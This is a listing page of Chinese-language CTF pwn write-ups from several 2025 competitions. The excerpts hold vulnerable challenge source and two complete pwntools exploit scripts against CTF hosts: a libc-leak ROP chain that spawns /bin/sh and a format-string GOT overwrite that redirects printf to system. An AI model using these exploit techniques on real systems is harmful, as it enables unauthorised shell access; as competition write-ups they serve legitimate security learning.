secconCTF2025 PWN Writeup'

secconCTF 2025 PWN Writeup unserialize 题目源码 #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <string.h> ssize_t unserialize(FILE *fp, char *buf, size_t size) { char szbuf[0x20]; char *tmpbuf; for (size_t i = 0; i < sizeof(szbuf); i++) { szbuf[i] = fgetc(fp); if (szbuf[i] == ':') { szbuf[i] = 0; break; } if (!isdigit(szbuf[i]) || i == sizeof(szbuf) - 1) { return -1; } } if (atoi(szbuf) > size) { return -1; } tmpbuf = (char*)alloca(strtoul(szbuf, NULL, 0)); size_t sz = strtoul(szbuf, NULL, 10); for (size_t i = 0; i < sz; i++) { if (fscanf(fp, "%02hhx", tmpbuf + i) != 1) { return -1; } } memcpy(buf, tmpbuf, sz); return sz; } int main() { char buf[0x100]; setbuf(stdin, NULL); setbuf(stdout, NULL); if (unserialize(stdin, buf, sizeof(buf)) < 0) { puts("[-] Deserialization faield"); } else { puts("[+] Deserialization success"); } return 0; } 题目保护 [*] '/mnt/hgfs/Ubuntu_Shared_Dir/secconCTF2025/unserialize/unserialize/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No 漏洞点在 ...

December 15, 2025 · 18 min · 3629 words · Me

backdoorCTF2025 PWN Writeup

backdoorCTF 2025 PWN Writeup Devil’s Convergence 很简单的一道题,将输入的8个字节跟libc地址异或,然后输出,所以我们可以得到libc地址 还存在栈溢出漏洞,直接写ROP拿shell即可 exp #!/usr/bin/env python3 from pwn import * from pwncli import * context(os='linux',arch = 'amd64') #context.terminal = ['tmux', 'new-window', '-n', 'debug' ] filename = "chal_chainsawman" + "_patched" libcname = "/home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6" host = "remote.infoseciitr.in" port = 8005 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' set debug-file-directory /home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug set directories /home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39 ''' def sa(a,b): sh.sendafter(a, b) def sla(a, b): sh.sendlineafter(a, b) def start(): if args.GDB: return gdb.debug(elf.path, gdbscript = gs) elif args.REMOTE: return remote(host, port) else: return process(elf.path) def cyclic_xor(data: bytes, key: bytes) -> bytes: """ 对一个字节串(data)与一个 8 字节的密钥(key)进行循环异或(XOR)操作。 Args: data: 需要进行异或操作的输入字节串。 key: 8 字节的密钥。 Returns: 异或操作后的结果字节串。 Raises: ValueError: 如果密钥长度不是 8 字节,则抛出异常。 """ # 检查密钥长度是否为 8 字节 if len(key) != 8: raise ValueError("密钥 (key) 必须是 8 字节长。") # 用于存储结果的字节列表 result_list = [] # 获取数据和密钥的长度 data_len = len(data) key_len = len(key) # key_len 此时应为 8 # 遍历数据中的每个字节 for i in range(data_len): # 确定当前字节 i 对应的密钥字节的索引 j # j = i % key_len 会让 j 在 0 到 7 之间循环 j = i % key_len # 对数据字节和密钥字节进行 XOR 运算 # data[i] 和 key[j] 都是整数(0-255)表示的字节值 xor_byte = data[i] ^ key[j] # 将 XOR 结果添加到结果列表中 result_list.append(xor_byte) # 将整数列表转换回字节串并返回 return bytes(result_list) sh = start() # 自定义 dest 内容 sa("Submit to her control: ", b'\x00' * 4) sh.recvuntil(b"essence: ") low4 = sh.recv(4) sa("to War: ", b'\x00' * 4) sh.recvuntil(b"essence: ") high4 = sh.recv(4) system_addr = u64(low4 + high4) log.success("system: " + hex(system_addr)) libc_base = system_addr - libc.sym['system'] rdi_ret = 0x000000000010f78b + libc_base binsh_addr = libc_base + next(libc.search("/bin/sh")) payload = b'A' * 80 + b'B' * 8 + p64(rdi_ret + 1) + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) sa("contract: ", cyclic_xor(payload, p64(system_addr))) sh.interactive() Gamble 存在可多次触发的格式化字符串漏洞,printf里只能写6个字节,但是可以通过前面的10个字节放地址,printf里放%9$hhn来往任意地址写入b'\x00。因为可以多次触发,所以也可以泄露出libc地址,栈地址,程序基地址等。 ...

December 8, 2025 · 10 min · 2068 words · Me

HeroCTF2025 PWN Writeup

paf_traversal 漏洞点 func HandleDownloadWordlist(c *gin.Context) { wordlistDir := getWordlistDir() json := DownloadRequest{} if err := c.ShouldBindJSON(&json); err != nil { c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) return } fileName := path.Base(json.Filename) // LINE 46: Sanitized but UNUSED! filePath := filepath.Join(wordlistDir, json.Filename) // LINE 47: Uses unsanitized input! f, err := os.Open(filePath) // LINE 49: Opens the unsanitized path if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return } defer f.Close() data, err := io.ReadAll(f) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return } c.JSON(http.StatusOK, gin.H{ "filename": fileName, // Returns sanitized name "content": string(data), // But returns content from unsanitized path! }) } Key Issue: Line 46 calls path.Base(json.Filename) to sanitize the filename, but this result is stored in fileName and only used for the response. Line 47 uses the original unsanitized json.Filename to construct the file path, allowing path traversal! ...

December 1, 2025 · 12 min · 2503 words · Me

sknbCTF2025 PWN Writeup

sknbCTF 2025 PWN Writeup sirokemo-says-dist 赤裸裸的格式化字符串漏洞 没开PIE,是Partial RELRO,可以写GOT表。 那么思路就很明确了,第一次格式化字符串先改exit的GOT表为main函数地址,这样可以无限触发格式化字符串漏洞 之后再将printf的GOT表改为system函数地址 在下一次输入的时候输入/bin/sh即可 #!/usr/bin/env python3 from pwn import * from pwncli import * context(os='linux',arch = 'amd64') #context.terminal = ['tmux', 'new-window', '-n', 'debug' ] filename = "chall" + "_patched" libcname = "/home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6" host = "34.104.150.35" port = 9000 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b main set debug-file-directory /home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug set directories /home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39 ''' def sa(a,b): sh.sendafter(a, b) def sla(a, b): sh.sendlineafter(a, b) def start(): if args.GDB: return gdb.debug(elf.path, gdbscript = gs) elif args.REMOTE: return remote(host, port) else: return process(elf.path) sh = start() exit_addr = 0x404020 printf_addr = 0x404000 # Your exploit here #0x11 0x40 0x66 payload = b"%17c%15$hhn%47c%16$hhn%38c%14$hhn%41$p%40$p".ljust(0x40, b'A') + p64(exit_addr) + p64(exit_addr + 1) + p64(exit_addr + 2) sa("(^・ω・^§)ノ ", payload) sh.recv(0x66) libc_base = int(sh.recv(14), base = 16) - 0x2a1ca stack = int(sh.recv(14), base = 16) log.success("libc_base: " + hex(libc_base)) log.success("stack: " + hex(stack)) #target_addr = stack - 0x118 system = libc.sym['system'] + libc_base payload = payload = fmtstr_payload( 6, {printf_addr: system}, write_size='short' # 'byte' / 'short' / 'int',内部自动分片 ) print(payload) sa("(^・ω・^§)ノ ", payload) sh.interactive() kufvm-dist 虚拟机 ...

November 27, 2025 · 7 min · 1423 words · Me

PCTF2025 PWN Writeup

cursed_format #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #define fmtsize 0x20 __attribute__((constructor)) void ignore_me(){ setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } void banner(){ puts("=+=+=+=+=+=+=+=+=+=+=+=+=+=+="); puts("For all my format string haters."); puts("(No one likes %n)"); puts("=+=+=+=+=+=+=+=+=+=+=+=+=+=+="); } void printchoices(){ puts("1. Keep formatting"); puts("2. Just leave"); printf(">> "); } void getStr(char * str){ memset(str, 0, fmtsize); read(0, str, fmtsize); } void curse(char * str, char * key){ for(int i=0; i<fmtsize; i++){ char c = str[i]; str[i] = c ^ key[i]; } for(int i=0; i<fmtsize; i++){ key[i] = str[i]; } } int main(){ char str[fmtsize]; char key[fmtsize]; int option; banner(); memset(key, 0xff, fmtsize); while(1){ printchoices(); getStr(str); option = atoi(str); switch(option){ case 1: getStr(str); curse(str,key); printf(str); break; case 2: puts("Hope you did something cool..."); return 0; default: puts("Invalid option!"); break; } } } 显然漏洞点存在于case 1的printf(str),有格式化字符串漏洞 ...

November 27, 2025 · 5 min · 1063 words · Me